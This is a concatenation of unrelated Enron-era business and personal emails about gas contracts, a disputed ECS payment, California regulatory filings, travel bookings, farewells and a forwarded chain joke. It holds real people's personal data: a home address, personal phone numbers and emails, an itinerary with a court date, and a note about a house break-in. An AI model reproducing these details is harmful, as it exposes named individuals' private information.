To:   Ora L. Ash/Clarksburg/CT/CNG@CNGNOTES
cc:

Subject:  Re: Contract 571492

In the old days, you could only flow 7/12 of the MDQ from secondary points.
That was when these contracts were good for the whole year.  So you are
telling me the "rules have changed"?  I can now flow 100% from secondary
points?

Ora_L._Ash@dom.com on 01/05/2001 08:38:35 AM

To:   Chris.Germany@enron.com
cc:

You can use the full contract MDQ to move from and to secondary points.  Of
course,  this would be subject to any secondary restrictions.

Chris.Germany@enron.com on 01/04/2001 04:48:44 PM

cc:

Subject:  Contract 571492

We have a FTGSS contract with a MDQ of 40,148 dts.  The primary receipt
point on this contract is storage.  BUT, we can flow some of this gas from
secondary points like Oakford or the Pools.  How much gas can be sourced
from Secondary receipt points?

Joe,  
	The prices are at the bottom in yellow.     Let me know if you have a problem.
Justin Fernandez
Enron 
justin.fernandez@enron.com
713-345-9398-desk

All,

Here's the dial-in info for our call tomorrow morning @ 11 am PST re. the
UDCs' Joint Proposal to Implement DA Suspension:

212.364.2900
*9966170* (room #)

Norm, moving forward, the AReM members decided it would be very beneficial
to have you on all of our calls and for the entire duration of the call.
So, if your schedule permits on such short notice, please join us tomorrow.

Thanks.

Bill
~~~~~~~~~~~~~~~~~~~~~~~~~
William H. Chen
AES NewEnergy, Inc.
2175 N. California Blvd., Ste. 300
Walnut Creek, CA  94596
925.287.4703 direct
925.287.4500 main
925.287.4501 fax
bill.chen@aesmail.com <mailto:bill.chen@aesmail.com> 	

pls print--I'm sending you several docs on ECS--please give me in one stack.  
DF
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 04/10/2000 
12:14 PM ---------------------------

04/10/2000 10:41 AM
cc:  

Subject: Re: ECS and the $500k reduction

FYI, for our meeting.
---------------------- Forwarded by Steven Harris/ET&S/Enron on 04/10/2000 

James Centilli
04/05/2000 10:02 AM
To: Rod Hayslett/FGT/Enron@ENRON
cc: David Foti/ET&S/Enron@ENRON, Steven Harris/ET&S/Enron@ENRON 

Subject: Re: ECS and the $500k reduction  

We did not document the up front payments, because of Regulatory concerns.  
FERC requested copies of the contracts that defined the payment for 
electricity.  The $500k was negotiated in a meeting with George Fastuca and 
Mark Courtney, where Mark agreed to share his profit.  We had worked very 
closely with them to assure the officer group, how this project compared to 
doing it with out ESC.  They never advised Dave Foti or myself of this 
change.  The calculations for the up front payment was provided by them and 
clearly reflects the revenue sharing agreed to by Mark.

Rod Hayslett

04/05/2000 06:47 AM
To: David Foti/ET&S/Enron@ENRON
cc: Steve Harris/HOU/ECT@ECT, James Centilli/ET&S/Enron@ENRON 

Did we have a contract that was written and spelled out?    If not, (pretty 
sloppy business practice), then we are just going to have to tell Bill Cordes 
that we didn't have a deal, and someone is going to have to suck it in to 
make up the $500K.    If we did, what does the deal say?
  
David Foti
04/04/2000 05:45 PM
To: Rod Hayslett/FGT/Enron@ENRON, Steve Harris/HOU/ECT@ECT, James 
Centilli/ET&S/Enron@ENRON
cc:  

Subject: ECS and the $500k reduction

Rod, Steve, & James:

In rough terms, this is what I understand ECS' logic to be -

The $3.35 per KW for transmission demand charge was assumed not to be 
avoidable and have a 5000 KW minimum when ET&S and ECS agreed on the $2.8MM 
one time payment.
ECS says that they have negotiated to make the transmission demand charge 
avoidable with no minimum.
$3.35 * 10,000HP / 1.341 = $25k
$25k discounted 10 years = $1.9MM
25% of 1.9MM = approx. $500k
Original one time payment = $2.8MM less $0.5MM = $2.3MM (the new payment ECS 
wants to give ET&S)

ECS contends that Fastuca agreed to a 25% sharing of benefits received from 
the avoidable demand.  My recollection is that the 25% was used as a 
benchmark to estimate ECS' fee but was never established as a firm rule.

ECS is supposed to provide us with their own written explanation for the 
$500k reduction.  They are also supposed to send us the "re-negotiated" rate 
schedule 21 that shows the transmission demand charge becoming avoidable.

In any event, whether it is reasonable or not that ECS is due the $500k, it 
is reasonable to expect that ET&S would have been notified of this change in 
a more timely manner.

Dave Foti
x.31978

Here is a list of publications that we may want to get articles in when the 
time is right.  Both Mary and Greg can help in our efforts.

Michael

---------------------- Forwarded by Michael Ratner/OTS/Enron on 12/04/2000 
08:47 AM ---------------------------

Mmvmunson@aol.com on 12/03/2000 07:51:44 PM
To: Michael.Ratner@enron.com (Michael Ratner)
cc:  

Subject: publications

In a message dated 12/1/00 12:42:43 PM Eastern Standard Time, 
gsmith@Johnstondc.com writes: 

NALD, American Indian Report, Indian Country Today.

Okay, Michael, let me translate. 

 ??????NALD is the Native American Law Digest. ?It is published monthly, and 
Greg has been the editor-in-chief for the last 10 years. ?It provides a ?
synopsis of the most recent legal cases of interest to Native Americans ?
(both in tribal and non-tribal courts) and also runs articles. ?Articels do 
not necessarily have to be on strictly legal topics. 

??????The American Indian Report is also a monthly and also published by 
Falmouth. ?It covers much broader issues of interest to Indian tribes ??as
compared to the NALD.

 ??????Greg has a great relationship with Falmouth. ?I also know someone over 
there who owes me a big favor. ?Plus they are looking for Indian stories--and 
upbeat stories since many of the stories from Indian Country are downers. 

 ??????Indian Country Today is a newspaper and I believe that it is published 
weekly. ?Greg has good contacts, and the writers are ALWAYS looking for 
interesting stories. 

??????Also, I know a freelancer for the Gallup, NM daily paper. ?Some 
consider Gallup tp be the heart of Indian Country--and five or six tribes, 
including the Navajo are covered by the paper and read it as well. 

??????I, of course, would put the New York Times on the list. ?As I said, I 
think they have two reporters trolling Indian Country (particularly in the 
SW) looking for stories of ?interest. ?Although not widely read by Native 
Americans, it is read by educated Native Americans who are involved in state 
and national politics as well as by Native American attorneys and other 
professionals. Also, 30,000 to 40,000 Native Americans live in the New York 
metropolitan area. 

Also, major cities with significant Native American populations which have 
daily newspapers: 

Phoenix 

Albuquerque 

Denver 

Seattle 

Washington, DC ? 

??????Also, there is another magazine (bimonthly): Native Peoples: Arts and 
Lifeways. ?It casts a wide net and has included info on art, food, politics, 
grants tribes have received, etc. ?This magazine is read both by Indian 
wannabes and Indians. ?I also think it is read by Indians in the 
diaspora--that is Indians far away from their tribes or from Indian culture 
in general. 

??????Also, I believe that the new Native American museum scheduled sometime 
in the next decade (?) will have its own publication and will probably cast a 
wide net as do Native Peoples and Indian Report. ?(the museum I think was 
supoosed to open in 2000 and then 2001 and so I have no idea......) 

??????I have also just sent an email to a friend of mine who is the director 
of the Tribal Libraries Program at the New Mexico State Library to see if I 
have missed any publications of significance. ?The State Library has a 
newsletter which goes out to all the ?tribal libraries in New Mexico, and 
that number is 21. ?I think the newsletter is published every 2 weeks, and I 
am sure we could have this project covered in it. 

??????Also, the following paragraph is an email I sent to Greg Smith this 
evening. 

??????Is there any centralized way to find out about tribal papers? (I am 
laughing even ?as I write this....) For example, I know Navajo, Laguna, and 
Hopi have ?newspapers. ?Do we know of others? ?Also, do you know the name of 
the journal published at Cornell? Isn't that about Indian education? 

Regards--- 

Mary 

Please incerease deliveries to Eastrans to 65,000 MMBtu/d eff 2/23/2000.

7,000 will come from Fuels Cotton Valley.
Maintain sale of 500 MMBtu/d.
Increase PG & E nom to 58,000 MMBtu/d.

The agreement provides for up to 60,000 MMBtu at our option.
Brian Riley needs to approve the increase to 65,000 MMBtu/d.

	TMS Weekly Mtg. Conference room EB4102

Date:		1/24/2001
Time:		1:30 PM - 3:00 PM (Central Standard Time)

Thanks for the information below.  Sometime next week, would you go ahead and 
make a copy of the contract brief for me.  You can interoffice mail it to me 
at 
EB 3703.

Thanks,

Kathy Benedict

Daren J Farmer
11/22/2000 11:42 AM
To: Katherine Benedict/HOU/ECT@ECT
cc:  
Subject: Re: Cornhusker  

If you need it, I've got a contract brief that lists the transport cost and 
fuel from each location (there numerous receipt points).  It is possible that 
we may need to purchase extra gas for the plant on occasion.  In that case, 
we can use the same transport contract on Lone Star and transport on other 
pipes also.  Any expense we incur to deliver gas to the plant will be passed 
on to the plant.

If you have any questions, let me know.

D

Katherine Benedict
11/22/2000 11:23 AM
cc:  
Subject: Cornhusker

Hi Darrin,

This is what Mark McCoy sent me about the Cornhusker Deal.  Please review and 
if there is anything else that Rita Wynne or I need to know about this deal, 
just shoot me an e-mail!

Thanks for calling me back!

Happy Thanksgiving,

Kathy

---------------------- Forwarded by Katherine Benedict/HOU/ECT on 11/22/2000 

Mark McCoy@ENRON
11/22/2000 08:12 AM
cc:  

Kathy-----Here is what I know about Cornhusker:

Our supply comes from Apache & Williams

Our market typicially is the plant (Tenaska IV Partners)
If the plant is down, Brazos Utility has the right to the gas if they want it
If Brazos does not call for the gas, then we will sell off to whomever we can

We just get a flat fee on this gas per MMBtu, whether it goes to the plant or 
not

Daren Farmer knows the specifics about the deal

Hope this helps, call with any questions.

Mark
x33396

LAST CALL for BUSINESS HIGHLIGHTS AND NEWS for this week's EnTouch 
Newsletter.

Please submit your news by noon today.

Thanks!
Kathie Grabstald
x 3-9610

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Jennie,
 
When you get in tomorrow, could you please check whether the direct flight on the 15th cleared.  If not, please advise which flight path I'm currently cleared on.  
 
I don't want to lose the return home through Moscow on the 31st (waitlisted also for 29th or 30th); but I may also need to return immediately after my court date from Almaty on Dec 23 (in such case my husband would fly back to Moscow to pick up our daughter after the 1st of the year).   I would like to make such a reservation is possible.
 
I think you can probably let all the other waitlisted items go for me.
 
Please call me when you get a chance.
 
713-853-7083
 
From: Jennie Hendrickson [mailto:jennieh@tvlon.com]
Sent: Wednesday, December 12, 2001 3:58 PM
Subject: 

TRAVEL ON                       AFTER HOURS: 800-366-2100 REFERENCE: 16XL  
9000 VIRGINIA MANOR ROAD STE 201                                           
BELTSVILLE MARYLAND 20705                                                  
FOR YOUR UNIQUE TRAVEL ON TELEPHONE NUMBER...SEE BELOW                     
-----------------------------------------------------------------          
                                       CORMAN/SHELLEY*180558-JK-18          
 
 SHELLEY CORMAN                                                            
 14126 SCARBOROUGH FAIR                                                    
 HOUSTON TX 77077                                                          
 
DATE OF ISSUE: DEC 12 2001  ITIN/INVOICE NBR: ITIN         PAGE: 01
.........................................................................  
FROM             TO           AIRLINE   FLT   DEP   ARR      STATUS        
15 DEC 01 SATURDAY 
HOUSTON/INTCON  DENVER          UNITED      1667 1215P  130P CONFIRMED 
                                 CLASS:V  AUDIO                        
 ELAPSED TIME- 2:15  MILES-  861
 NONSTOP                      EQUIP-BOEING 737-500                  
 
DENVER          FRANKFURT       LUFTHANSA    447  455P 1040A CONFIRMED 
                                 CLASS:M  MEAL                         
                                     ARRIVAL DATE-16 DEC
 ELAPSED TIME- 9:45  MILES- 5038
 NONSTOP                      EQUIP-340                             
 
16 DEC 01 SUNDAY   
FRANKFURT       ALMATY          LUFTHANSA    648  210P  145A CONFIRMED 
                                     ARRIVAL DATE-17 DEC
 ELAPSED TIME- 6:35  MILES- 3173
 
               SURFACE TRANSPORTATION                                      
 
HOUSTON/INTCON  FRANKFURT       LUFTHANSA    441  440P  935A WAITLISTED
 ELAPSED TIME- 9:55  MILES- 5231
 
WASH/DULLES     FRANKFURT       LUFTHANSA    419  610P  750A WAITLISTED
 ELAPSED TIME- 7:40  MILES- 4080
 NONSTOP                      EQUIP-BOEING 747 JET                  
 
CHICAGO/OHARE   FRANKFURT       LUFTHANSA    431  415P  720A WAITLISTED
 ELAPSED TIME- 8:05  MILES- 4342
 
DALLAS/FT WOR   FRANKFURT       LUFTHANSA    439  345P  835A WAITLISTED
 ELAPSED TIME- 9:50  MILES- 5142
 
31 DEC 01 MONDAY   
MOSCOW/SHEREMT  FRANKFURT       LUFTHANSA   3221  700A  835A CONFIRMED 
 ELAPSED TIME- 3:35  MILES- 1262
 NONSTOP                      EQUIP-32S                             
 **SEAT ASSIGNMENT AT AIRPORT ONLY**                                   
 
FRANKFURT       ATLANTA         LUFTHANSA    444 1040A  300P CONFIRMED 
SEAT-32G                         CLASS:M  MEAL                         
 ELAPSED TIME-10:20  MILES- 4613
 
ATLANTA         HOUSTON/INTCON  DELTA        443  530P  639P CONFIRMED 
SEAT-13F                         CLASS:U                               
 ELAPSED TIME- 2:09  MILES-  689
 NONSTOP                      EQUIP-BOEING 727 JET                  
 
29 DEC 01 SATURDAY 
MOSCOW/SHEREMT  FRANKFURT       LUFTHANSA   3221  700A  835A WAITLISTED
 
30 DEC 01 SUNDAY   
 
CONTACT TRAVEL ON AT: 240-387-4110 OR 877-657-4772                    
**YOU MUST VERIFY ITINERARY FOR ACCURACY/ACCEPTANCE                   
OF INCORRECT INFORMATION IS TRAVELERS RESPONSIBILITY**                
 
                                     SERVICE FEE *SEE BELOW       0.00
 
*NO SERVICE FEE THIS TRANSACTION                                      
 
** AFTER HOURS HELPLINE 800-366-2100 REFER TO: 16XL **                
 
Jennie Hendrickson
Travel On
9000 Virginia Manor Rd Suite 201
Beltsville MD 20705
240-387-4033-phone
877-657-4772-toll free
240-387-4101-fax
jennieh@tvlon.com <mailto:jennieh@tvlon.com>

I'm glad to know that she is home.  I can just imagine how much fun those 
oxygen treatments will be!  I know that you will be thankful to have your 
whole family under the same roof.  --Sally 

	Barry Pearce @ ENRON COMMUNICATIONS
	12/01/2000 05:47 PM
	
To: Sally Beck/HOU/ECT@ECT@ENRON
cc:  
Subject: Olivia  

Olivia came home this afternoon at 4pm.

Hopefully much better.

She'll have the oxygen treatment every 2 hours off some massive & complicated 
contraption.

B.

Got it.  The sure-fire way to get me is at "jdasovic@enron.com."  Thanks.

Best,
Jeff

=09"Daniel Douglass" <douglass@ArterHadden.com>
=0910/19/2000 10:37 AM
=09=09=20
=09=09 To: <Jeff_Dasovich@enron.com>
=09=09 Subject: Fwd: Email Glitch

Jeff, let me know if you receive this message.  Sue Mara asked me to copy y=
ou=20
on all emails to the WPTF Board, but I have recently been having everything=
=20
returned for you.  Hope all is well.
=20
Dan
----- Message from "Daniel Douglass" <douglass@ArterHadden.com> on Thu, 19=
=20
Oct 2000 11:32:55 -0400 -----
To:=09"Barbara Klemstine" <Barbara_Klemstine@apsc.com>, "Bob Anderson"=20
<Bob_Anderson@apses.com>, "Robert Berry" <berry@apx.com>, "Denice Cazalet"=
=20
<dcazalet@apx.com>, "Bill Ross" <billr@calpine.com>, "Jack Pigott"=20
<jackp@calpine.com>, "Gene Waas" <glwaas@calpx.com>, "Ken Czarnecki"=20
<Ken_Czarnecki@calpx.com>, "Carolyn Baker" <cabaker@duke-energy.com>, "Rand=
y=20
Hickok" <rjhickok@duke-energy.com>, "Greg Blue" <GTBL@dynegy.com>, "Kent=20
Wheatland" <KEWH@dynegy.com>, "Jeff Dasovich" <j_dasovi@ect.enron.com>,=20
"Roger Pelote" <rpelote@energy.twc.com>, "Susan Mara"=20
<susan_j_mara@enron.com>, "Curt Hatton" <curt.Hatton@gen.pge.com>, "Gary=20
Ackerman" <foothill@lmi.net>, "CHARLES A MIESSNER"=20
<camiessn@newwestenergy.com>, "Corby Gardiner" <jcgardin@newwestenergy.com>=
,=20
"Rob Nichol" <rsnichol@newwestenergy.com>, "Curtis Kebler"=20
<curtis_l_kebler@reliantenergy.com>, "Rob Lamkin"=20
<rllamkin@seiworldwide.com>, "Carl Imparato" <cfi1@tca-us.com>
Subject:=09Email Glitch
Have just discovered that some emails sent to the board earlier this week d=
id=20
not go through and got hung up in cyberspace.  Most dealt with the emergenc=
y=20
petitions for modification filed by Edison and PG&E and the data request fo=
r=20
financial information which ALJ Minkin issued.  This is the first, which we=
nt=20
out on Monday:
=20
SDG&E has filed an initial response to ALJ Minkin's Ruling which first=20
requests that the utility should not be subject to the information request=
=20
which stemmed from the SCE and PG&E emergency petitions.  If the Commission=
=20
is unwilling to do so, the utility next informs the Commission of its=20
intention not to respond fully to the request.  The crux of the opposition =
is=20
as follows:=20
=20
"However, neither Rule 1 nor the Public Utilities Code require SDG&E to wai=
ve=20
certain fundamental due process rights pertaining to its discovery=20
obligations.  Specifically, simply because the information is requested in =
an=20
ALJ ruling as opposed to alternative discovery mechanisms does not require=
=20
SDG&E to produce confidential, proprietary, competitively sensitive=20
information belonging to its affiliates which information is neither=20
pertinent to a transaction between SDG&E and an affiliate nor in the=20
possession of SDG&E.  A number of the informational demands in the ALJ Ruli=
ng=20
fall squarely within this context and therefore are not appropriate for=20
discovery purposes."
=20
The utility then states that:
=20
"In an effort to cooperate with the Commission and the ALJ to provide for=
=20
Commission inspection relevant information reasonably calculated to lead to=
=20
the discovery of admissible evidence, SDG&E will provide affiliate=20
information responsive to the ALJ=01,s informational demands to the extent =
that=20
the information relates to a transaction with SDG&E (i.e. falls within the=
=20
scope of PUC section 314(b)), the information is public information (not=20
confidential and proprietary to the affiliate), or the information is a=20
matter of public record."
=20
SDG&E responses to information demands a, b, c, d, f, g, i, k, q, and bb we=
re=20
attached to the filing and will be provided to other parties who request th=
em=20
(I have requested a copy be sent to us) [Note...it has arrived].  Finally,=
=20
the utility then itemizes the following items of information which it will=
=20
not provide:
=20
"m. An itemization of funds paid to and amounts billed by the California PX=
=20
by each utility affiliate for each month in 2000;
n. An itemization of funds paid to and amounts billed by the California ISO=
=20
p. An itemization of funds paid to and amounts billed by any entity other=
=20
than the California ISO or PX for power purchased in California by each=20
utility affiliate; [under the assumption that "any entity" includes SDG&E,=
=20
the information related to any SDG&E transaction(s) will be provided]=20
r. An itemization of revenues received from the California PX for power=20
purchase sales in California by utility affiliates for each month in l999 a=
nd=20
2000;
t. Revenues received from the California ISO for power purchase sales in=20
California by utility affiliates for each month in l999 and 2000;
v. An itemization of revenues received from entities other than the=20
California PX and the California ISO for power purchase sales in California=
=20
by utility affiliates for each month in l999 and 2000; [under the assumptio=
n=20
that "any entity" includes SDG&E, the information related to any SDG&E=20
transaction(s) will be provided]=20
x. Revenues received for power purchase sales in any state other than=20
California by each utility affiliate for each month in l999 and 2000;
y. A description of all utility affiliates=01, activities in California ele=
ctric=20
markets, including marketing, scheduling, selling, or purchasing electricit=
y=20
either independently or jointly with other entities; [under the assumption=
=20
that "any entities" includes SDG&E, the information related to any SDG&E=20
transaction(s) will be provided; we will also provide public information=20
related to those "activities" such as press releases, etc.; since no time=
=20
frame has been provided related to this information request, we will respon=
d=20
concerning activities beginning January 1, 1998]
z. A description of each energy facility purchased wholly or in part by the=
=20
utility or any of its affiliates in l997-2000, including its purchase price=
=20
and location; [we will provide any public information addressing affiliate=
=20
purchases as well as all information, including confidential, proprietary=
=20
information related to a transaction with SDG&E]
aa. A description of each energy facility or portion thereof sold by the=20
utility or any of its affiliates in l997-2000, including its sale price and=
=20
location; [we will provide any public information addressing affiliate sale=
s=20
as well as all information, including confidential, proprietary information=
=20
related to a transaction with SDG&E]
cc. A copy of the most recent business plan for itself, its holding company=
=20
and each of its affiliates. [we will provide copies of those portions of=20
affiliate or holding company business plans that discuss or describe=20
transactions with SDG&E]
The basis of SDG&E=01,s objection to produce the foregoing information is t=
hat=20
the information exceeds the scope of the Commission=01,s statutory authorit=
y to=20
require production of affiliate information under PUC section 314(b); the=
=20
information is not relevant to any proceeding currently before the=20
Commission; the information is not reasonably calculated to result in the=
=20
discovery of admissible evidence in any Commission proceeding; and the=20
information is not in the possession of, nor is it proprietary to, SDG&E."
=20
After doing a comparison of the list of items for which responses are being=
=20
provided with the list for which objections are raised, I noted that items =
e,=20
h, j, l, o, s, u and w are simply not mentioned.  I have sent an email to=
=20
their counsel asking for the status of those requests.  Let me know if you=
=20
want a copy of the SDG&E filing.
=20
Dan

---------------------- Forwarded by Scott Neal/HOU/ECT on 04/05/2001 12:42 PM 

"barry crouch" <bcrouch@hotmail.com> on 04/04/2001 03:07:22 PM
To: billnealmd@hotmail.com, chrisn@thisco.com, muddywaters@hubserv.com, 
sneal@ect.enron.com, todd.neal@chron.com, sneal12@mindspring.com
cc:  
Subject: house

i can;t get my e-mail to go to conrad, so here we go. i have replaced the
window that conrad cloud broke to get in the house. i also washed all the
slip covers, as he had a dog in there with him. i don;t know if he is out of
jail or not at this time, i have not seen him. will continue to keep a close
watch on the house.  barry

Can I attend?
----- Forwarded by Tana Jones/HOU/ECT on 09/06/2000 04:31 PM -----

	exchangeinfo@nymex.com
	09/06/2000 05:19 PM
		 
		 To: tana.jones@enron.com
		 cc: 
		 Subject: (00-315) Arts Club Invitation

Notice No. 315

September 6, 2000

The New York Mercantile Exchange requests the pleasure of your company at a 
reception at

The Arts Club
40 Dover Street
London W1X 3RB

Sunday, October 8, 2000
6:00 to 8:00 P.M.

R.S.V.P to Helen Wogel
by e-mail: hwogel@nymex.co.uk or
by fax: (0011) 44-20-7734-9411

email.

"
http://208.206.41.61/email/email_log.cfm?useremail=tana.jones@enron.com&refdoc
=(00-315)"

Dear task force members,

At the conclusion of the call, we said we would include a motion for the
intent of the Board, (see below).  Please let me know if you have any changes:

It is the intent of the Board of Directors to endorse a direction that GISB
change its organization to permit the development of retail and wholesale
standards for the natural gas and electric markets, assuming that the
industry evidences sufficient commitment within the next 90 days, both
monetarily and with necessary manpower, to support such efforts.  The changes
to the GISB organization would be structured to ensure fair and balanced
representation for all industry segments -- both gas & electric.

I called Tino today to let him know that our affiliates are sniffing around a 
power plant opportunity and potential gas bypass pipeline in Albuquerque.   
Kevin, you should be getting a call from a guy in Portland whose name I can't 
seem to find right now.  He had gotten my name from Thome out there and 
called to let me know that ENA is interested in pitching either PNM or some 
outfit called "Delta" on development or expansion of a gas-fired power plant 
in the south part of Albuquerque.  It didn't sound to me like ENA was very 
far along in their deal.  I explained to this guy what we were involved in 
and swore him to confidentiality.  I also told him he need to call either 
Kevin or Steve before he talked to PNM.  I thought it was a little curious 
that ENA is interested in generation in Alb. all of a sudden.  

On the Tino front, he apologized for not calling after their big DOE 
meeting.  He said it went very well and that DOE is considering their 
offer--$.085/Kwh power less revenue sharing for all surplus power sold.  Tino 
and Dennis offered DOE 70% of the $$ from the surplus power sales until a 
certain target is hit (probably a target equivalent to DOE's current PNM rate 
less 10%) and then 30% of any additional $$.   Tino and Dennis really blew 
some smoke by showing the DOE guys this summer's Four Corners spot prices 
(generally in the $200-400/mwh range) and doing the math for them. On that 
basis, the net delivered power cost after rebate comes pretty close to zero.  
Even using a more reasonable sampling of Four Corners prices, the DOE price 
is apparently better than their current PNM price.  The big issue is whether 
DOE can figure out how to keep the rebate $$ at Sandia, rather than lose the 
$$ to treasury.   Sounds like the Dennis and Tino show is still flogging this 
deal pretty hard, so I reminded Tino that we are eager to do anything we can 
to help. 

Bill or Kevin, please forward this to Bill Gang--I couldn't get my computer 
to recognize his name.  

Please call if you have any questions.  DF      

Gerald,

Keith McClelland (AMUS lawyer), Daniela Horth (Contract Administrator for
AEC Storage and Hub Services Inc. and Wild Goose Storage Inc.)  and I are
available tomorrow morning between 10 and 12 for a conference call.  I am
still trying to confirm that Ryan McGeachie (Credit Analyst) is available.
Does this time look okay for you?  Let me know and I can confirm everything
later today.

If you do have any written comments that would be useful for us to see
beforehand, please send them on to me by email or by fax (403-290-8479).

Thanks so much.

Ann

From: Gerald.Nemec@enron.com [mailto:Gerald.Nemec@enron.com]
Sent: Wednesday, March 21, 2001 4:10 PM
To: Crawford, Ann
Cc: Russell.Diamond@enron.com; Mark.Whitt@enron.com
Subject: Re: FW: ENRON DRAFT ENFOLIO AGREEMENT AND COMMENTS

Ann,  I have completed the review of the comments to the Enfolio.  It might
make the most sense to discuss these over the phone to get quicker
resolution.  Are you available tommorrow afternoon to discuss the comments.

                    "Crawford,

                    Ann"                 To:     "'Gerald.Nemec@enron.com'"
<Gerald.Nemec@enron.com>
                    <AnnCrawford@        cc:

                    aec.ca>              Subject:     FW: ENRON DRAFT
ENFOLIO AGREEMENT AND COMMENTS

                    03/21/2001

                    11:37 AM

Hello Gerald,

Just a follow up note on the status of the review of our comments on the
new
ENFOLIO.  Please give me a call or drop me a note.  I hope we can get the
contract settled.

I still have not heard what is happening with the credit side.  I have not
received signed confirms as yet.

Regards,

Ann

403-266-8425

> From:   Crawford, Ann
> Sent:   Wednesday, March 07, 2001 6:47 PM
> To:     'Gerald.Nemec@enron.com'
> Subject:     ENRON DRAFT ENFOLIO AGREEMENT AND COMMENTS
>
> Gerald,
>
> Per the attached cover letter explaining AEC's requested changes, I
attach
> both a blackline copy and a clean copy of the edited agreement.  Please
> comment asap on items regarding the bolded text in sections 3.2, 3.4 and
> 8.3.
>
> Thank you,
>
> Ann M. Crawford
> Gas Marketing
> Sr.Contract Administrator
>
> Phone:  403-266-8425
> Fax:    403-290-8479
>
>
>  <<aecm.amc.ltr.enrn.doc>>  <<DRAFT IN ENRN EDIT.doc>>  <<DRAFT IN ENRN
> EDIT C.doc>>

(See attached file: aecm.amc.ltr.enrn.doc)
(See attached file: DRAFT IN ENRN EDIT.doc)
(See attached file: DRAFT IN ENRN EDIT C.doc)

Yes, close will take priority.  That is a free time job.  Thanks for the update.

	  From:  Dana Davis @ ECT                           02/06/2001 11:49 AM	
		
To:	Brian Schwertner/NA/Enron@Enron
cc:	 

Subject:	Question

Is it OK that I let entries take priority over those documents that you wanted me to hole punch and place in binders for you?  I thought I could do it for sure today and I still might be able too but I want to make sure that I don't fall behind on the entries.  Is that OK?  Oh yeah, Brad and Lisa Kang had me working on projects for them Friday and Monday.

I'm guessing you went last night by yourself?!?!  But, you were far from alone!

From: chad knipe [mailto:knipe3@msn.com]
Sent: Thursday, March 07, 2002 4:18 PM
To: Chet Fenner; Brad Corrier; Joe Parks; EriK Wollam; Brian Constantine
Subject: Be there soon!

See ya'll at Tony's Mex in a little while.  I am SOO excited, this is gonna be fun!!!!!!!
 
C.

It has been a pleasure getting to know you.
Let me know if you need anything.

Dutch
HM 713-533-0882
Cell 713-301-2530

From: 	Rostant, Justin  
Sent:	Friday, December 07, 2001 10:53 AM
To:	Zipper, Andy; May, Larry; Griffith, John; Maggi, Mike; Arnold, John; Quigley, Dutch; Rangel, Ina
Subject:	personal contact info

Guys, it has been a pleasure to be a part of this group and work with some of the smartest people at Enron. I enjoyed and appreciated the opportunity to work with all of you. I have learned a great deal and I hope that will give me a good foundation for the future.
Good luck to all of you and Happy Holidays

Home: 713-862-6397
Cell: 832-264-6333
email: jtrostant@yahoo.com

Tana:

None of the following CPs are authorized to trade US power -- all were 
restricted by credit:

Midcoast Marketing, Inc.
CCGM, L.P.
Peak Energy Corp.
Tenaska Gas Co

Thanks!

Leslie

this is funny.  i just wanted to send it off to you guys before i leave to 
cayman.  i hope the weather is good in houston for you guys this weekend.  it 
is supposed to be a low of 77 and high of like 87 in cayman.  rough life.
---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 03/29/2001 

"Ryan Lee" <ralee@rmi.net> on 03/27/2001 05:39:29 PM
To: "Ted Leighty" <tedleighty@yahoo.com>, "Pedar Kjesth" 
<pederleifkjeseth@hotmail.com>, <merlinm@uswest.net>, 
<matthew.lenhart@enron.com>, "JAKE Istnick" <jakeistnick@hotmail.com>, "David 
Shaw" <davidishaw@yahoo.com>, <danielkbrock@hotmail.com>, "Claude.Aldridge" 
<Claude.Aldridge@yellowglobal.com>, "Chris Tuttle" <cbtuttle@hotmail.com>, 
"Brian Beggs" <brbeggs@hotmail.com>, "Ben Abendroth" <bda76@yahoo.com>, 
"Bagby, Joel" <jbagby@caprock.com>, "Andy Patton" <andy.patton@wcom.com>
cc:  

Subject: Fw: What We've Learned From Watching Porn......

SO TRUE!!
?
From: Lee, Ryan 
To: 'ralee@rmi.net' 
Sent: Tuesday, March 27, 2001 3:55 PM
Subject: FW: What We've Learned From Watching Porn......  

?
From: Williams, Zach  
Sent: Tuesday, March 27, 2001 3:39 PM
To: Lee,  Ryan

?
?
Message-ID: <F174Ba1kg3AmsfGdMNF00001bcb@hotmail.com>
From: Steve Renz <steverenz@hotmail.com>
To: salwolf93@yahoo.com, jamesadamic@hotmail.com, johnbucklar@hotmail.com,  
cdolan17@hotmail.com, Banjoglass@hotmail.com, joegregg@earthlink.net,  
mjmorty@hotmail.com, lakerob@yahoo.com, MWright4u@aol.com
Subject: Fwd: What I've Learned From Watching Porn
Date: Tue, 27 Mar 2001 13:21:05 -0700
boundary="----_=_NextPart_003_01C0B711.156EBDC0"

----Original Message Follows---- 
From: "Brett Beezley" <b_beezley@hotmail.com> 
To: ALBOULWARE@YAHOO.COM, matha@kumc.edu, TOBLOOMER@YAHOO.COM, 
briancboukalik@eaton.com, BRANTPETERSON@HOTMAIL.COM, 
Aaron_Brinkman@na.dole.com, bej2147@hotmail.com, PDT2139@aol.com, 
cpete26689@aol.com, alexgfranz@hotmail.com, ajennings2@yahoo.com, 
jeremiahdavis@teleline.es, JOHNNYWARREN98@YAHOO.COM, mkopes@yahoo.com, 
kkrehbiel@kumc.edu, NWARREN48@YAHOO.COM, MTAYLOR7@KC.RR.COM, 
steverenz@hotmail.com, forth23@hotmail.com, lakerob@yahoo.com, 
mikedrussell@hotmail.com, TRENTMARQUARDT@HOTMAIL.COM, 
treyprice_2000@yahoo.com, tennistucker@aol.com, ryan.vanhorn@labone.com, 
rossvogel@birch.net, wyatt_22311@yahoo.com 
Subject: Fwd: What I've Learned From Watching Porn 
Date: Tue, 27 Mar 2001 13:08:16 -0600 

>From: "Jacob Reimer" <jrjhawk@hotmail.com> 
>To: jcoffin@ukans.edu, pmcgiffert@hotmail.com, b_beezley@hotmail.com, 
>bherrman@eagle.cc.ukans.edu, dardots@aol.com, jgarner77@hotmail.com, 
>gizz1dmb@hotmail.com, urdaddy15@hotmail.com, bhagman30@hotmail.com, 
>rhymus@aol.com, mcmahonsean@hotmail.com, snewcs@yahoo.com, 
>mike_newhouse@hotmail.com, peter.crump@escout.com, kpolian@echelontech.com, 
>psak19@hotmail.com, chacer@eagle.cc.ukans.edu, rjwoody@eagle.cc.ukans.edu, 
>franksciara@hotmail.com, johnny@genesishealthclub.com, 
>tavis.crump@valrad.com, tmcasc1925@aol.com 
>Subject: Fwd: What I've Learned From Watching Porn 
>Date: Tue, 27 Mar 2001 12:52:05 -0600 
> 
> 
> 
> 
>>From: "Robert Fanelli" <fanelli44@hotmail.com> 
